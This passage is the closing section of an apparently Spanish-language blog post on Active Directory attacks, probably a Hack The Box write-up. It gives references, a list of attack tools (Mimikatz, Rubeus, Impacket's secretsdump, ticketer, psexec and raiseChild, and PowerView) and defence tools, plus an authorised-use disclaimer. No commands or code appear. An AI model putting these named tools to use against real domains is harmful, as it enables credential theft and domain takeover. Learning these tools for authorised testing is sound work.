  • Mimikatz Documentation (Benjamin Delpy)
  • Impacket Documentation (Fortra)
  • SpecterOps: BloodHound Attack Path Analysis
  • Sean Metcalf: ADSecurity.org
  • Will Schroeder: HarmJ0y’s Blog

Herramientas Mencionadas:

  • Ataque: Mimikatz, Rubeus, Impacket (secretsdump.py, ticketer.py, psexec.py, raiseChild.py), PowerView
  • Defensa: BloodHound, Purple Knight, Ping Castle, Microsoft ATA/AATP, Splunk/ELK SIEM

Este artículo fue elaborado con propósitos educativos. Todas las técnicas descritas deben usarse únicamente en entornos autorizados con permiso explícito por escrito. El uso no autorizado de estas técnicas es ilegal y no ético.

Blogging
domain ad htb
This post is licensed under CC BY 4.0 by the author.